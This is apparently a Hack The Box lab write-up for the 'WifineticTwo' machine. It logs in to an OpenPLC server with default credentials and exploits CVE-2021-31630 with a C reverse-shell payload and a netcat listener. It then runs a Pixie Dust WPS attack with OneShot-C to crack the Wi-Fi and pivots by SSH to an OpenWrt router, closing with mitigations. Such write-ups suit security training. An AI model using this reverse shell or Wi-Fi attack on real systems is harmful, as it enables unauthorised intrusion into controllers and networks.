WifineticTwo

Platform: Hack The Box

Category/Tags: Linux, Remote Code Execution, CVE, Wi-Fi, Pivoting

Difficulty: Medium

Recon

To start the lab, just connect to the VPN provided by HTB and add the machine’s IP address to /etc/hosts.

As usual, I do an nmap scan.

nmap -sC -sV <MACHINE_IP> -oN results.nmap

• Open ports

  • Port 8080 - http-proxy (somewhat proxied a web application/server)

  • Port 22 - ssh

There is no port 80, so I headed to port 80, and it redirected me to the login page.

It is an OpenPLC web server. In some cases like this, I'll search for the default credentials. After that, if we are not successful with the default credentials, I am going to explore more of the system. But lucky enough, I found out that the default credentials on an OpenPLC webserver are openplc:openplc, and it works.

In the hardware section, there is a code editor that can be used to run the program and that performs input/output in a hardware. I guessed that this is vulnerable to Remote Code Execution.

Foothold

I've searched for a known exploit for this web server and I found interesting vulnerability, CVE-2021-31630 for OpenPLC.

Set up a netcat listener,

nc -lnvp 1234

I based my exploit code on this PoC of the said CVE, PoC - Authenticated Remote Code Execution on OpenPLC_V3 WebServer. Insert the reverse shell payload into the updateCustomOut() function, and then hit save and run the program.

void updateCustomOut()
{
    int port = 1234; 
    char ip_addr[] = <MACHINE_IP>;
    struct sockaddr_in revsockaddr; 
    int sockt = socket (AF_INET, SOCK_STREAM, 0); 
    revsockaddr.sin_family= AF_INET; 
    revsockaddr.sin_port = htons (port); 
    revsockaddr.sin_addr.s_addr= inet_addr(ip_addr); 
    connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr)); 
    dup2(sockt, 0); 
    dup2(sockt, 1); 
    dup2(sockt, 2); 
    char * const argv[] = {"/bin/bash", NULL}; 
    execve("/bin/bash", argv, NULL); 
    return 0;
}

We get the root shell!

Pivot

Before we proceed, Let's upgrade the shell into interactive shell.

python3 -c 'import pty; pty.spawn("/bin/bash")'

#hit Ctrl+Z
stty raw -echo; fg 
export TERM=xterm256-color
stty rows 38 columns 116

This is not the typical privilege escalation because I am already logged in as root, so I guess we need to pivot to another host that can give us the root flag.

From the machine name itself, WifineticTwo, it appears that the machine is somewhat related to Wi-Fi vulnerabilities. So, I decided to list all the network interfaces on this machine.

ip a

I saw that this machine has a wireless network interface and is in a down state.

I thought that this was the way to get the root flag. For now, we need to make this wlan0 up and active. First, we need to know the password for the Wi-Fi. In the forum, they gave a hint that we could crack the Wi-Fi password using the Pixie Dust Attack.

I saw HackTricks articles about Wi-Fi Pentesting. I tried to use Reaver and Bully, but I always get a library or package error when running them on the remote machine. I searched for alternative tools, and I found OneShot-C that performs Pixie Dust Attack written in C.

I clone the repository and compile it into executable file,

#clone the repo
git clone https://github.com/nikita-yfh/OneShot-C.git

#change directory
cd OneShot-C

#compile
make

To open a web server for transferring file,

python3 -m http.server 8000

Download it on remote machine,

curl -O http://<YOUR_IP>:8000/oneshot

Make the file executable,

chmod +x

Specify the -i to wlan0 interface and add the flag -K to run pixie dust attack, and select 1 as target

./oneshot -i wlan0 -K

And, we got the SSID of plcrouter and password (WPA-PSK).

After that, we now need to connect to wlan0. Again, in the forum, they drop the article, Connecting to WiFi network using systemd and wpa-supplicant. This is how we connect to the wireless interface.

Go to the /etc/wpa_supplicant directory, make the configuration file wpa_supplicant-wlan0.conf, and insert these lines. This file sets some of the properties of the Wi-Fi network, including the SSID and password to connect to,

ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=0
update_config=1

network={
  ssid="plcrouter"
  psk="NowWeDo.....123!"
  key_mgmt=WPA-PSK
  proto=WPA2
  pairwise=CCMP TKIP
  group=CCMP TKIP
  scan_ssid=1
}

Next, go to /etc/systemd/network/ directory, and make a configuration file 25-wlan.network and insert these lines.

[Match]
Name=wlan0

[Network]
DHCP=ipv4

Then, enable wpa_service to wlan0 interface, and restart the ff service: systemd-networkd and wpa_supplicant.

systemctl enable [email protected]
systemctl restart systemd-networkd.service
systemctl restart [email protected]

Again, check the status,

ip a

The wireless interface now is up and active, and we found that the wireless interface wlan0 has network of 192.168.1.34/24

So, I tried to ping sweep the addresses 192.168.1.1-254 to see if there is an active host that runs SSH. I created a bash script,

#!/bin/bash

start_ip="192.168.1.1"
end_ip="192.168.1.254"

ping_sweep() {
    local ip=$1
    ping -c 1 -W 1 $ip > /dev/null 2>&1
    if [ $? -eq 0 ]; then
        nc -zv $ip 22 >/dev/null 2>&1
        if [ $? -eq 0 ]; then
            echo "SSH server is running on $ip"
        fi
    fi
}

for ((i=1; i<=254; i++)); do
    ip="${start_ip%.*}.$i"
    ping_sweep $ip &
done

wait

I run it, and it says that there is an SSH running on host 192.168.1.1

I connect to that SSH server,

ssh [email protected]

Gotcha! We gain root privileges, this server does not require a password, and it looks like the Wi-Fi device is using OpenWrt.

Mitigation

• If you are using an outdated OpenPLC, patch and update it to a newer version

• Disable WPS to prevent Pixie Dust Attack; refer to this: https://medium.com/swlh/my-worst-nightmare-on-discovering-a-wi-fi-wps-vulnerability-on-my-home-router-45330c5444bc

• Secure and configure the SSH server with a password